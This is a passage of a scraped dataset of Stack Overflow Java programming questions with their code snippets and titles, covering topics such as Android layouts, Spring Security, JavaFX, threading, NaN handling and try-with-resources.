) .getWindow ( ) .getDecorView ( ) ; decor.setSystemUiVisibility ( View.SYSTEM_UI_FLAG_LAYOUT_STABLE ) ; } } @ Override public View onCreateView ( @ NonNull LayoutInflater inflater , ViewGroup container , Bundle savedInstanceState ) { return inflater.inflate ( R.layout.fragment_explorer , container , false ) ; } } < android.support.constraint.ConstraintLayout xmlns : android= '' http : //schemas.android.com/apk/res/android '' xmlns : tools= '' http : //schemas.android.com/tools '' android : layout_width= '' match_parent '' android : layout_height= '' match_parent '' xmlns : app= '' http : //schemas.android.com/apk/res-auto '' tools : context= '' com.orevon.fflok.fragments.ExplorerFragment '' android : fitsSystemWindows= '' false '' > < View android : layout_width= '' 0dp '' android : layout_height= '' 180dp '' app : layout_constraintTop_toTopOf= '' parent '' app : layout_constraintStart_toStartOf= '' parent '' app : layout_constraintEnd_toEndOf= '' parent '' android : background= '' @ drawable/splash_background4 '' / > < /android.support.constraint.ConstraintLayout > < ? xml version= '' 1.0 '' encoding= '' utf-8 '' ? > < android.support.constraint.ConstraintLayout xmlns : android= '' http : //schemas.android.com/apk/res/android '' xmlns : app= '' http : //schemas.android.com/apk/res-auto '' android : id= '' @ +id/main_content '' android : layout_width= '' match_parent '' android : layout_height= '' match_parent '' android : fitsSystemWindows= '' false '' > < FrameLayout android : id= '' @ +id/fragment_frame '' android : layout_width= '' match_parent '' android : layout_height= '' match_parent '' app : layout_behavior= '' @ string/appbar_scrolling_view_behavior '' > < /FrameLayout > < android.support.design.widget.BottomNavigationView android : id= '' @ +id/mainBottomNavigation '' android : layout_width= '' match_parent '' android : layout_height= '' 68dp '' app : layout_constraintStart_toStartOf= '' parent '' app : layout_constraintEnd_toEndOf= '' parent '' app : layout_constraintBottom_toBottomOf= '' parent '' android : background= '' @ drawable/bottombar_bg '' app : itemIconTint= '' @ color/bottom_nav_color '' app : itemTextColor= '' @ color/bottom_nav_color '' app : menu= '' @ menu/main_bottom_navigation '' / > < /android.support.constraint.ConstraintLayout >",BottomNavigationView jumps up leaving blank space when fullscreen +Java,"I am trying to install tizen wearable sdk in windows 7 64bit . I have donwload the .exe however when I am trying to isntall it I am getting the following error : I have installed in my computer java 1.7.0_80 . I have put to the path of the system C : \Program Files\Java\jre7\bin and in JAVA_HOME C : \Program Files\Java\jdk1.7.0_80I have tried to follow the instructions from here here however I did n't mange to solve my issues.EDIT : I followed the instructions from that link I went to cd\Users\AppData\Local\Temp and I run from there the command in console java -jar installmanager.jar . THe installation began normally . However , during the installation I got several errors .",error - Can not execute Java even if it was installed . Check environment variable or Java version ( over 1.6 ) please .,Installing tizen in windows 7 +Java,"In Spring MVC with Spring Security , is it possible to achieve this ? @ Override WebSecurityConfigurerAdapter.configure ( HttpSecurity ) /users/** is a restricted area and should be accessible by admins only . But managers should still be able to see their own profile ( /users/user_with_manager_role ) , and only their own profile , not those of any other users ( regardless of their role ) .SolutionI 've found a solution in Andrew 's answer . My Code now looks like this : WebSecurityConfigurerAdapter @ Override WebSecurityConfigurerAdapter.configure ( HttpSecurity ) UsersController","@ Overrideprotected void configure ( HttpSecurity http ) throws Exception { http .authorizeRequests ( ) .mvcMatchers ( `` /users/ { authentication.principal.username } '' ) .hasAnyRole ( ADMIN , MANAGER ) .antMatchers ( `` /users/** '' ) .hasRole ( ADMIN ) .anyRequest ( ) .authorized ( ) ... } @ Configuration @ EnableWebSecurity @ EnableGlobalMethodSecurity ( prePostEnabled = true ) // added this annotationpublic class SecurityConfig extends WebSecurityConfigurerAdapter @ Overrideprotected void configure ( HttpSecurity http ) throws Exception { http .authorizeRequests ( ) // removed /users handling .anyRequest ( ) .authorized ( ) ... } @ Controller @ RequestMapping ( `` /users '' ) public class UsersController { @ GetMapping ( `` { username } '' ) @ PreAuthorize ( `` authentication.principal.username == # username ) || hasRole ( 'ADMIN ' ) '' ) public String usersGet ( @ PathVariable ( `` username '' ) String username ) { // do something with username , for example get a User object from a JPA repository return `` user '' ; } }",Spring Security allow each user to see their own profile but none else +Java,"How I can make sure that a file is readable by humans.By that I essentially want to check if the file is a txt , a yml , a doc , a json file and so on . The issue is that in the case i want to perform this check , file extensions are misleading , and by that i mean that a plain text file ( That should be .txt ) has an extension of .d and various others : - ( What is the best way to verify that a file can be read by humans ? So far i have tried my luck with extensions as follows : But as i said extensions are not as expected.EDIT : To clarify , i am looking for a solution that is platform independed and without using external libraries , And to narrow down what i mean `` human readable '' , i mean plain text files that contain characters of any language , also i dont really mind if the text in the file makes sense like if it is encoded , i dont really care at this point . Thanks so far for all the responses ! : D",private boolean humansCanRead ( String extention ) { switch ( extention.toLowerCase ( ) ) { case `` txt '' : case `` doc '' : case `` json '' : case `` yml '' : case `` html '' : case `` htm '' : case `` java '' : case `` docx '' : return true ; default : return false ; } },How to verify if a file is readable by humans ? +Java,"1 ) OK2 ) OK3 ) Compile error Type mismatch : can not convert from List < Integer > to List < Integer [ ] > 4 ) OKThis is the signature for asList : public static < T > List < T > asList ( T ... a ) asList expects 0 or more `` a '' of type T. My `` a '' is new Integer [ ] { 1 , 2 } and it is of type Integer [ ] . So , why is it generating a List < Integer > instead of a List < Integer [ ] > ?","List < int [ ] > listOfArrays1 = Arrays.asList ( new int [ ] { 1 , 2 } ) ; List < int [ ] > listOfArrays2 = Arrays.asList ( new int [ ] { 1 , 2 } , new int [ ] { 3 , 4 } ) ; List < Integer [ ] > listOfArrays3 = Arrays.asList ( new Integer [ ] { 1 , 2 } ) ; List < Integer [ ] > listOfArrays4 = Arrays.asList ( new Integer [ ] { 1 , 2 } , new Integer [ ] { 3 , 4 } ) ;","Why List < Integer [ ] > listOfArrays = Arrays.asList ( new Integer [ ] { 1 , 2 } ) does n't compile ?" +Java,"I studied this question , but I still do n't get it . The shortest possible code below shows a Pyramid totally grey , whereas I try to give the 6 triangles making up the pyramid different colors . So ... why do n't these colors show up ? Note that I borrowed the getTexCoords ( ) .addAll ( .. ) statement from that question , but clearly I still am doing something wrong . Is it the uv mapping ? What is that anyway ? I have seen a topological explanation ( sphere < - > map ) , but what has that got to do with textures/colors ... ? Appreciate your help - Michael","public class ColoredPyramid extends Application { public void start ( Stage primaryStage ) { Group root = new Group ( ) ; Scene scene = new Scene ( root , 200 , 200 , true ) ; primaryStage.setTitle ( `` Colored Pyramid '' ) ; primaryStage.setScene ( scene ) ; primaryStage.show ( ) ; TriangleMesh colouredPyramid = new TriangleMesh ( ) ; float height = 100 ; float hypotenuse = 150 ; colouredPyramid.getPoints ( ) .addAll ( 0 , 0 , 0 ) ; //0-index : : top colouredPyramid.getPoints ( ) .addAll ( 0 , height , -hypotenuse / 2 ) ; //1-index : : x=0 , z=-hyp/2 == > Closest to user colouredPyramid.getPoints ( ) .addAll ( -hypotenuse / 2 , height , 0 ) ; //2-index : : x=hyp/2 , z=0 == > Leftest colouredPyramid.getPoints ( ) .addAll ( hypotenuse / 2 , height , 0 ) ; //3-index : : x=hyp/2 , z=0 == > rightest colouredPyramid.getPoints ( ) .addAll ( 0 , height , hypotenuse / 2 ) ; ////4-index : : x=0 , z=hyp/2 == > Furthest from user //Next statement copied from stackoverflow.com/questions/26831871/coloring-individual-triangles-in-a-triangle-mesh-on-javafx colouredPyramid.getTexCoords ( ) .addAll ( 0.1f , 0.5f , // 0 red 0.3f , 0.5f , // 1 green 0.5f , 0.5f , // 2 blue 0.7f , 0.5f , // 3 yellow 0.9f , 0.5f // 4 orange ) ; colouredPyramid.getFaces ( ) .addAll ( 0 , 0 , 2 , 0 , 1 , 0 ) ; //Left front face -- - > RED colouredPyramid.getFaces ( ) .addAll ( 0 , 1 , 1 , 1 , 3 , 1 ) ; //Right front face -- - > GREEN colouredPyramid.getFaces ( ) .addAll ( 0 , 2 , 3 , 2 , 4 , 2 ) ; //Right back face -- - > BLUE colouredPyramid.getFaces ( ) .addAll ( 0 , 3 , 4 , 3 , 2 , 3 ) ; //Left back face -- - > RED colouredPyramid.getFaces ( ) .addAll ( 4 , 4 , 1 , 4 , 2 , 4 ) ; //Base : left triangle face -- - > YELLOW colouredPyramid.getFaces ( ) .addAll ( 4 , 0 , 3 , 0 , 1 , 0 ) ; //Base : right triangle face -- - > ORANGE MeshView meshView = new MeshView ( colouredPyramid ) ; Group group = new Group ( meshView ) ; group.setTranslateX ( 100 ) ; group.setTranslateY ( 80 ) ; root.getChildren ( ) .add ( group ) ; } public static void main ( String [ ] args ) { launch ( args ) ; } }",JavaFX 3D Colouring faces ... again +Java,"So today while learning Java , I finally encountered this particular error . It seems that this error is pretty prevalent and trying to recover from it has garnered mixed reactions . Some think it is useful in certain scenarios so its a good 'good to know ' , some have used it in their projects , while others vehemently oppose the idea of catching this error and then a lot of others are just as confused as me.Edit : Oh btw , this is the error that I have encountered . I wish to catch these errors and decrease the value of incrementor by 1/10th next time until another error is found ( and so on ... until I find the upper bound ) Since I 'm taking my baby steps in Java and can not find anything much specific on this topic , I 'd like to ask your help on this particular example : Did you try compiling it ? Ofcourse , it does not workHere 's a short description on what I 'm trying to do ! I am trying to do the following : Initialize incrementor=10000000 and iterations=0 and pass the result of incrementor=incrementor+iterations to iterator ( ) .If there is an Error , the program should catch it and then decrease iterations* by **incrementor , then divide incrementor by 10 , then try this againRepeat steps 1 to 2 until , it starts working.Goal is to find values of iterations where it produces error and stay below that level after each iteration until the upper limit of the value of iterations is found ( i.e . when incrementor becomes 0 ) With my own manual tests , I have found out the value of this to be 92,274,686 . That 's the magic number . I do n't know why it is so , and whether or not it is that value for my own computer only . It would be awesome if someone could post a modified code that could spit out this result .",public class SpeedDemoClass { static int iterations=0 ; static int incrementor=10000000 ; public static void main ( String [ ] args ) { while ( incrementor > 1 ) { try { iterations=iterations+incrementor ; iterator ( iterations ) ; } catch ( Exception e ) { System.out.println ( `` So this is the limiting error : `` +e ) ; iterations=iterations-incrementor ; incrementor=incrementor/10 ; iterations=iterations+incrementor ; } } System.out.println ( `` The upper limit of iterations is : `` +iterations ) ; } public static void iterator ( int a ) { long start_time= System.currentTimeMillis ( ) ; StringBuilder sbuild= new StringBuilder ( `` JAVA '' ) ; for ( int i=0 ; i < a ; i++ ) { sbuild.append ( `` JAVA '' ) ; } System.out.println ( `` Performing `` +a+ '' append operations ; '' + '' process completed in : '' + ( System.currentTimeMillis ( ) -start_time ) + '' ms '' ) ; } },Recover from java.lang.OutOfMemoryError +Java,"I have 2 threads . One thread prints odd numbers and the second thread prints even numbers . Now , I have to execute the threads alternatively so that i can output 1,2,3,4,5,6 , ... ..I have written a program for this and this is resulting in a deadlock . Can someone explain what is the problem with the code and how to rectify it ?","class BooleanObject { boolean flag ; BooleanObject ( boolean flag ) { this.flag = flag ; } } class EvenThread extends Thread { Object lock ; BooleanObject flagObj ; EvenThread ( Object o , BooleanObject flag ) { lock = o ; this.flagObj = flag ; } public void run ( ) { for ( int i=2 ; i < 100 ; i+=2 ) { synchronized ( lock ) { if ( flagObj.flag == false ) { flagObj.flag = true ; lock.notify ( ) ; } else { try { while ( flagObj.flag == true ) { lock.wait ( ) ; } } catch ( InterruptedException e ) { } } System.out.println ( i ) ; } } } } class OddThread extends Thread { Object lock ; BooleanObject flagObj ; OddThread ( Object o , BooleanObject flag ) { lock = o ; this.flagObj = flag ; } public void run ( ) { for ( int i=1 ; i < 100 ; i+=2 ) { synchronized ( lock ) { if ( flagObj.flag == true ) { flagObj.flag = false ; lock.notify ( ) ; } else { try { while ( flagObj.flag == false ) { lock.wait ( ) ; } } catch ( InterruptedException e ) { } } System.out.println ( i ) ; } } } } public class EvenOddThreads { public static void main ( String [ ] args ) { Object obj = new Object ( ) ; BooleanObject flagObj = new BooleanObject ( true ) ; EvenThread et = new EvenThread ( obj , flagObj ) ; OddThread ot = new OddThread ( obj , flagObj ) ; et.setName ( `` even thread '' ) ; ot.setName ( `` odd thread '' ) ; et.start ( ) ; ot.start ( ) ; } }",Thread Deadlock +Java,"I 'm using SimpleNLG 4.4.2 to get plural form for a noun : However even for this simple example , getFeature returns null instead of apples . What am I doing wrong ?","final XMLLexicon xmlLexicon = new XMLLexicon ( ) ; final WordElement word = xmlLexicon.getWord ( `` apple '' , LexicalCategory.NOUN ) ; System.out.println ( word ) ; System.out.println ( word.getFeature ( LexicalFeature.PLURAL ) ) ;",SimpleNLG - How to get the plural of a noun ? +Java,"I am not sure if a similar question has been asked before , searched for it , but did not get any helpful answers.As the question suggests , what is better , having an overloaded constructor or having multiple setter functions ? Scenario : Now , my basic requirement was for to have two parameters only . Now tomorrow , the requirement is changed and I am asked to add a new parameter , c and then the next day d , and given a statement saying we can have more fields.I already have dependency for this constructor in multiple projects . Now , back to my questionIs it advisable to keep adding the new fields to the already overloaded constructor ? Create a new overloaded constructor every time I need to add a new field so that I do n't break dependent code ? Or simply use the default empty default constructor and use setters only ( messing up my immutability , which is not of high concern ) What is the advice that you can give me ?","public class Something { private int a ; private int b ; public Something ( int a , int b ) { this.a = a ; this.b = b ; } ... // Do Something }",Setters vs Overloaded constructors in Java +Java,I can exclude a regular method like this in my findbugs-exclude.xml : But what if I want to ignore the bug pattern being flagged in a constructor ? I 've tried andwhich do n't seem to work.MyClass only defines one constructor .,< Match > < Class name= '' com.my.package.MyClass '' / > < Method name= '' calculateSomeValue '' / > < Bug pattern= '' CLI_CONSTANT_LIST_INDEX '' / > < /Match > < Method name= '' MyClass '' / > < Method name= '' new '' / >,How to exclude a constructor in findbugs ? +Java,What is the rationale behind making this kind of code valid in java ? Does it exist for some particular reason or is it just a byproduct of other Java language design decisions ? Ca n't you just use the consructor to achieve the same effect ?,class Student { { System.out.println ( `` Called when Student class is instantiated . `` ) ; } },What is the rationale behind this code block in java ? +Java,"I have a web service that had been working fine while we were on Java 7 version 75 . We recently updated to Java 8 and now we are getting this error on the web service : PKIX path building failed : sun.security.provider.certpath.SunCertPathBuilderException : unable to find valid certification path to requested targetThis is the full dump : We have updated the certificates and the certificates have been re-imported in the correct key store and verified it 's there using keytool -list and restarted , but still get the authentication error . I see this is usually fixed by re-installing the certificate but that has n't worked . Many suggestions to fix this error recommended installing Certman in CF Admin . We installed it and imported the certificates , but still the same error . Our workaround is rolling back to Java 7 version 75 so this web service works , but we need to update to the latest version of Java soon so our charts can work again and obviously for security reasons . Any suggestions ? Stats : Java Dev Kit 8 v 60 , ColdFusion 10 hotfix 17 , Windows Server 8****UPDATE*****After reading Sean Coyne 's answer below I talked to our Network Admin 's . They had already copied the tools.jar file into the lib folder . They deleted the stubs folder and restarted the CF server , but we still got the same error . I visited with them and they showed me that the certificates were indeed in the keystore . As described here : https : //helpx.adobe.com/coldfusion/kb/coldfusion-mx-troubleshooting-scheduled-tasks.htmlWe added some debugging to jvim.config as I ran the web service . The debugging pointed out that the handshake with one of the certificates was invalid . What the heck ! I asked if we could see the certs in the Certificate Manager in CF Admin . It was NOT installed after all . So the NA installed the CertMan add on in CF Admin . After importing the certificates using CertMan and restarting the CF server , the web service worked after that.I think doing what Sean Coyne suggested below AND making sure CertMan was installed so we could import the certificates was what fixed it for us .",Charset [ empty string ] ErrorDetail I/O Exception : sun.security.validator.ValidatorException : PKIX path building failed : sun.security.provider.certpath.SunCertPathBuilderException : unable to find valid certification path to requested target Filecontent Connection Failure Header [ empty string ] Mimetype Unable to determine MIME type of file . Responseheader ws dump - struct [ empty ] Statuscode Connection Failure . Status code unavailable . Text YES,CF10 web service error after updating to Java 8 v 60 +Java,"I am writing Java code that interacts with R , where `` NA '' values are distinguished from NaN values . NA indicates that a value is `` statistically missing '' , that is it could not collected or is otherwise not available . The following unit test demonstrates the relationship between NaN and NA and runs fine on my windows laptop but `` isNA ( NA ) # 2 '' fails sometimes on my ubuntu workstation.From debugging , it appears that DoubleVector.NA is changed to the canonical NaN value 7ff8000000000000L , but it 's hard to tell because printing it to stdout gives different values than the debugger.Also , the test only fails if it runs after a number of other previous tests ; if I run this test alone , it always passes.Is this a JVM bug ? A side effect of optimization ? Tests always pass on : Tests sometimes fail on :","class DoubleVector { public static final double NA = Double.longBitsToDouble ( 0x7ff0000000001954L ) ; public static boolean isNA ( double input ) { return Double.doubleToRawLongBits ( input ) == Double.doubleToRawLongBits ( NA ) ; } /// ... } @ Testpublic void test ( ) { assertFalse ( `` isNA ( NaN ) # 1 '' , DoubleVector.isNA ( DoubleVector.NaN ) ) ; assertTrue ( `` isNaN ( NaN ) '' , Double.isNaN ( DoubleVector.NaN ) ) ; assertTrue ( `` isNaN ( NA ) '' , Double.isNaN ( DoubleVector.NA ) ) ; assertTrue ( `` isNA ( NA ) # 2 '' , DoubleVector.isNA ( DoubleVector.NA ) ) ; assertFalse ( `` isNA ( NaN ) '' , DoubleVector.isNA ( DoubleVector.NaN ) ) ; } java version `` 1.6.0_24 '' Java ( TM ) SE Runtime Environment ( build 1.6.0_24-b07 ) Java HotSpot ( TM ) Client VM ( build 19.1-b02 , mixed mode , sharing ) java version `` 1.6.0_24 '' Java ( TM ) SE Runtime Environment ( build 1.6.0_24-b07 ) Java HotSpot ( TM ) 64-Bit Server VM ( build 19.1-b02 , mixed mode )","Final , non-canonical NaN double value changes during runtime" +Java,Here is my license header in the source code : package org.osgl.ut ; And when I run SonarLint it says there is an issue found in the file : How can I get SonarLint skip License header block when inspecting the source code ? UpdateThe SonarLint version :,"/*- * # % L * Java Unit Test Tool * % % * Copyright ( C ) 2017 OSGL ( Open Source General Library ) * % % * Licensed under the Apache License , Version 2.0 ( the `` License '' ) ; * you may not use this file except in compliance with the License . * You may obtain a copy of the License at * * http : //www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing , software * distributed under the License is distributed on an `` AS IS '' BASIS , * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND , either express or implied . * See the License for the specific language governing permissions and * limitations under the License . * # L % */import static org.hamcrest.Matchers.not ; import org.hamcrest.Matcher ; import org.junit.Assert ; import org.junit.internal.ArrayComparisonFailure ; import org.junit.internal.ExactComparisonCriteria ; import org.junit.internal.InexactComparisonCriteria ; /** * The ` TestBase ` provides simplified assertion methods . */public abstract class TestBase extends Assert { /** * Asserts that a condition is ` true ` . If it is n't then throws an * { @ link AssertionError } with the given message . * * @ param condition * condition to be checked * @ param message * The error message . ` null ` Okay * @ param messageArgs * the error message arguments */ public static void yes ( boolean condition , String message , Object ... messageArgs ) { assertTrue ( fmt ( message , messageArgs ) , condition ) ; } /** * Alias of { @ link # assertTrue ( boolean ) } . * * @ param condition condition to be checked */ public static void yes ( boolean condition ) { assertTrue ( condition ) ; } /** * Alias of { @ link # assertThat ( Object , Matcher ) } . * * @ param actual * the computed value being compared * @ param matcher * an expression , built of { @ link Matcher } s , specifying allowed values * @ param < T > * the static type accepted by the matcher ( this can flag obvious * compile-time problems such as ` yes ( 1 , is ( `` a '' ) ) ` * * @ see org.hamcrest.CoreMatchers * @ see org.junit.matchers.JUnitMatchers */ public static < T > void yes ( T actual , Matcher < T > matcher ) { assertThat ( actual , matcher ) ; } /** * Require ` actual ` satisfied the condition specified by ` matcher ` . If not * an { @ link AssertionError } is thrown with the reason string and information * about the matcher and failing value . Example : * * `` ` * int n = 0 ; * yes ( n , is ( not ( 1 ) ) ) // passes * yes ( n , is ( 1 ) , `` Help ! Integers do n't work '' ) ; // fails : * // failure message : * // Help ! Integers do n't work * // expected : is < 1 > * // got value : < 0 > * `` ` * @ param actual the computed value being compared * @ param matcher an expression , built of { @ link Matcher } s , specifying allowed values * @ param message * additional information about the error * @ param messageArgs * message arguments * @ param < T > * the static type accepted by the matcher ( this can flag obvious * compile-time problems such as ` yes ( 1 , is ( `` a '' ) ) ` * * @ see org.hamcrest.CoreMatchers * @ see org.junit.matchers.JUnitMatchers */ public static < T > void yes ( T actual , Matcher < T > matcher , String message , Object ... messageArgs ) { if ( ! matcher.matches ( actual ) ) { assertThat ( fmt ( message , messageArgs ) , actual , matcher ) ; } } /** * Alias of { @ link # assertFalse ( boolean ) } . * * @ param condition condition to be checked */ public static void no ( boolean condition ) { assertFalse ( condition ) ; } /** * Asserts that a condition is ` false ` . If it is n't then throws an * { @ link AssertionError } with the given message . * * @ param condition * condition to be checked * @ param message * The error message . ` null ` Okay * @ param messageArgs * the error message arguments */ public static void no ( boolean condition , String message , Object ... messageArgs ) { assertTrue ( String.format ( message , messageArgs ) , ! condition ) ; } /** * Require ` actual ` **NOT** satisfied the condition specified by ` matcher ` . Otherwise * an { @ link AssertionError } is thrown with the reason string and information * about the matcher and failing value . Example : * * `` ` * int n = 0 ; * no ( n , is ( 1 ) ) // passes * no ( n , is ( 0 ) ) ; // fails : * // failure message : * // expected : not is < 0 > * // got value : < 0 > * `` ` * * @ param actual * the computed value being compared * @ param matcher * an expression , built of { @ link Matcher } s , specifying disallowed values * @ param < T > * the static type accepted by the matcher ( this can flag obvious * compile-time problems such as ` no ( 1 , is ( `` a '' ) ) ` * * @ see org.hamcrest.CoreMatchers * @ see org.junit.matchers.JUnitMatchers */ public static < T > void no ( T actual , Matcher < T > matcher ) { assertThat ( actual , not ( matcher ) ) ; } ...",Sonarlint complains about license header in my source file +Java,"I am trying to perform sentiment analysis on a large number of product reviews using CoreNLP ( Java ) . Overall , I find the accuracy of the analysis to be pretty good . From what I read , the model I 'm using was initially created using movie reviews ( I think ) , so it 's not 100 % suited for analyzing product reviews . I was wondering the best way to go about `` enhancing '' the accuracy of my analysis.The main thing I was thinking about was that in addition to the text of the product review , I also have a user-provided star rating . The values range from 1-5 , 1 star being the lowest . I was hoping there was a way to take the star rating into account when generating the sentiment score , since it more accurately reflects the users ' feelings on a particular product . Is there a way I can best have the star rating factor in to the sentiment analysis scoring in CoreNLP ? My analysis code looks something like this : How could I best incorporate the star ratings ( or other info , such as votes on the most useful product reviews , etc . ) into the analysis being performed by CoreNLP ? Is this something I would have to do separately ? Or is there a way to incorporate the additional data directly into the sentiment analysis engine ?","List < ProductReview > reviews = this.reviewRepository.findAll ( ) ; for ( ProductReview review : reviews ) { Properties props = new Properties ( ) ; props.setProperty ( `` annotators '' , `` tokenize , ssplit , pos , lemma , ner , parse , dcoref , sentiment '' ) ; props.put ( `` ner.model '' , `` edu/stanford/nlp/models/ner/english.all.3class.distsim.crf.ser.gz '' ) ; StanfordCoreNLP pipeline = new StanfordCoreNLP ( props ) ; int starRating = review.getStarRating ( ) ; String reviewText = review.getTitle ( ) + `` : `` + review.getReviewText ( ) ; if ( ! StringUtils.isEmpty ( reviewText ) ) { int longest = 0 ; int mainSentiment = 0 ; Annotation annotation = pipeline.process ( reviewText ) ; String sentimentStr = null ; List < CoreMap > sentences = annotation.get ( CoreAnnotations.SentencesAnnotation.class ) ; for ( CoreMap sentence : sentences ) { Tree sentimentTree = sentence.get ( SentimentCoreAnnotations.SentimentAnnotatedTree.class ) ; int sentiment = RNNCoreAnnotations.getPredictedClass ( sentimentTree ) - 2 ; String partText = sentence.toString ( ) ; if ( partText.length ( ) > longest ) { mainSentiment = sentiment ; sentimentStr = sentence.get ( SentimentCoreAnnotations.SentimentClass.class ) ; longest = partText.length ( ) ; } } } }",`` Enhancing '' CoreNLP Sentiment Analysis Results +Java,"When a ProgressBar is indeterminate it has an animation that goes back and forth . This works fine when the ProgressBar is part of a normal Stage but does n't work when part of a Dialog . Instead , it seems to just sit at the start of the animation . The ProgressBar does , however , update properly when set to some determinate value . Note : The issue does not appear in Java 8.There are no indications of any exceptions.Here 's an MCVE ( GIF of it in action ) : I tried this code on : JDK 1.8.0_181Animates normallyJDK 10.0.2Fails to animateOpenJDK 11-ea+22 with OpenJFX 11-ea+18Fails to animateOpenJDK 12-ea with OpenJFX 11-ea+18Fails to animateDid n't really expect a change here since the same JavaFX version is being used.All my tests were on a Windows 10 Home ( version 1803 ) computer.I 'm 90 % certain this is some type of regression bug , but just in case ... Does anyone else have this problem ? Or am I doing something wrong and it 's a fluke that it works on Java 8 ? If it is a bug does anyone know of any workarounds ? I 've tried things like changing the Modality and owner of the Dialog to no effect . It also seems to only be the ProgressBar as the Dialog can still be moved around and the message updates ( i.e . the UI is not freezing ) .I have n't tried this with other animated Nodes such as ProgressIndicator.P.S . I searched the Java bug database for this or similar issue but came up with nothing ; I could have easily missed one , however.Update : I have submitted my own bug report .","import javafx.application.Application ; import javafx.concurrent.Task ; import javafx.geometry.Insets ; import javafx.geometry.Pos ; import javafx.scene.Node ; import javafx.scene.Scene ; import javafx.scene.control.Button ; import javafx.scene.control.ButtonType ; import javafx.scene.control.Dialog ; import javafx.scene.control.Label ; import javafx.scene.control.ProgressBar ; import javafx.scene.layout.HBox ; import javafx.scene.layout.StackPane ; import javafx.scene.layout.VBox ; import javafx.stage.Stage ; public class App extends Application { @ Override public void start ( Stage primaryStage ) { Button detButton = new Button ( `` Launch Determinate Task '' ) ; detButton.setOnAction ( ae - > { ae.consume ( ) ; createDialog ( primaryStage , true ) .showAndWait ( ) ; } ) ; Button indetButton = new Button ( `` Launch Indeterminate Task '' ) ; indetButton.setOnAction ( ae - > { ae.consume ( ) ; createDialog ( primaryStage , false ) .showAndWait ( ) ; } ) ; HBox btnBox = new HBox ( detButton , indetButton ) ; btnBox.setSpacing ( 10 ) ; btnBox.setAlignment ( Pos.CENTER ) ; StackPane root = new StackPane ( btnBox , createDummyProgressNode ( ) ) ; Scene scene = new Scene ( root , 500 , 300 ) ; primaryStage.setScene ( scene ) ; primaryStage.setTitle ( `` ProgressBar Issue '' ) ; primaryStage.setResizable ( false ) ; primaryStage.show ( ) ; } private Node createDummyProgressNode ( ) { Label label = new Label ( `` ProgressBar to show animation in Stage . `` ) ; ProgressBar progressBar = new ProgressBar ( ) ; progressBar.setMaxWidth ( Double.MAX_VALUE ) ; VBox box = new VBox ( label , progressBar ) ; box.setMaxHeight ( VBox.USE_PREF_SIZE ) ; box.setSpacing ( 3 ) ; box.setAlignment ( Pos.CENTER_LEFT ) ; box.setPadding ( new Insets ( 5 ) ) ; StackPane.setAlignment ( box , Pos.BOTTOM_CENTER ) ; return box ; } private Dialog < ? > createDialog ( Stage owner , boolean determinate ) { Task < ? > task = new BackgroundTask ( determinate ) ; Dialog < ? > dialog = new Dialog < > ( ) ; dialog.initOwner ( owner ) ; dialog.setTitle ( `` Background Task - `` + ( determinate ? `` Determinate '' : `` Indeterminate '' ) ) ; dialog.getDialogPane ( ) .setPrefWidth ( 300 ) ; dialog.getDialogPane ( ) .setContent ( createDialogContent ( task ) ) ; dialog.getDialogPane ( ) .getButtonTypes ( ) .add ( ButtonType.OK ) ; dialog.getDialogPane ( ) .lookupButton ( ButtonType.OK ) .disableProperty ( ) .bind ( task.runningProperty ( ) ) ; dialog.setOnShown ( de - > { de.consume ( ) ; executeTask ( task ) ; } ) ; return dialog ; } private Node createDialogContent ( Task < ? > task ) { Label label = new Label ( ) ; label.textProperty ( ) .bind ( task.messageProperty ( ) ) ; ProgressBar progressBar = new ProgressBar ( ) ; progressBar.setMaxWidth ( Double.MAX_VALUE ) ; progressBar.progressProperty ( ) .bind ( task.progressProperty ( ) ) ; VBox box = new VBox ( label , progressBar ) ; box.setSpacing ( 3 ) ; box.setAlignment ( Pos.CENTER_LEFT ) ; return box ; } private void executeTask ( Task < ? > task ) { Thread thread = new Thread ( task , `` background-thread '' ) ; thread.setDaemon ( true ) ; thread.start ( ) ; } private static class BackgroundTask extends Task < Void > { private final boolean determinate ; private BackgroundTask ( boolean determinate ) { this.determinate = determinate ; } @ Override protected Void call ( ) throws Exception { final int loops = 1_000 ; for ( int i = 0 ; i < = loops ; i++ ) { updateMessage ( `` Running ... `` + i ) ; Thread.sleep ( 1L ) ; if ( determinate ) { updateProgress ( i , loops ) ; } } updateMessage ( `` Complete '' ) ; updateProgress ( loops , loops ) ; return null ; } } }",Indeterminate ProgressBar does not animate when part of a Dialog ( JavaFX 10 ) +Java,"I have a file from which I have suppressed every permission . No one should be able to read the file , right ? In fact , if I runI getHowever , if I callI get It is my understanding that in order to get the size of a file one must open and read the file first , but this result strongly suggests that I 'm wrong . Does anyone know why this happens ? Also , is there a way to prevent Java 's file.length ( ) method from accessing the size of a file ? I am using Ubuntu 12.10",File f = new File ( `` not_readable.pdf '' ) ; System.out.println ( f.canRead ( ) ) false File f = new File ( `` not_readable.pdf '' ) ; System.out.println ( f.length ( ) ) 455074,Java - file.length ( ) returns even if the file is not readable +Java,I wrote this test codeThe result wasWhy was the float constructor called rather than the double constructor ? Is this part of the dynamic method lookup ?,public class ConstructorTestApplication { private static String result ; public static void main ( String [ ] args ) { ConstructorTest test1 = new ConstructorTest ( 0 ) ; System.out.println ( result ) ; } private static class ConstructorTest { public ConstructorTest ( double param ) { result = `` double constructor called ! `` ; } public ConstructorTest ( float param ) { result = `` float constructor called ! `` ; } } } float constructor called !,Why is int implicitly cast to float rather than double when invoking constructor ? +Java,"I am looking at examples of try-with-resources in Java and I understand the following one : So , the order of closing is : which is perfect because a connection has a statement and a statement has a result set.However , in the following examples , the order of close I think it is the reverse of the expected : Example 1 : The order of closing is : Example 2 : The order of closing is : Are these examples correct ? I think the close in those examples should be different because : In the example 1 a BufferedReader has a FileReader.In the example 2 an ObjectOutputStream has a FileOutputStream .","try ( Connection conn = DriverManager.getConnection ( url , user , pwd ) ; Statement stmt = conn.createStatement ( ) ; ResultSet rs = stmt.executeQuery ( query ) ; ) { ... } rs.close ( ) ; stmt.close ( ) ; conn.close ( ) ; try ( FileReader fr = new FileReader ( file ) ; BufferedReader br = new BufferedReader ( fr ) ) { ... } br.close ( ) ; fr.close ( ) ; try ( FileOutputStream fos = new FileOutputStream ( `` testSer.ser '' ) ; ObjectOutputStream oos = new ObjectOutputStream ( fs ) ; ) { ... } oos.close ( ) ; fos.close ( ) ;",Try-with-resources close order +Java,"I want to annotate a fully qualified class name with @ Nullable-annotation ( from the Java Checker Framework ) , e.g . : However this results in the error : How can I annotate fully qualified class names ?",class Demo { private transient @ 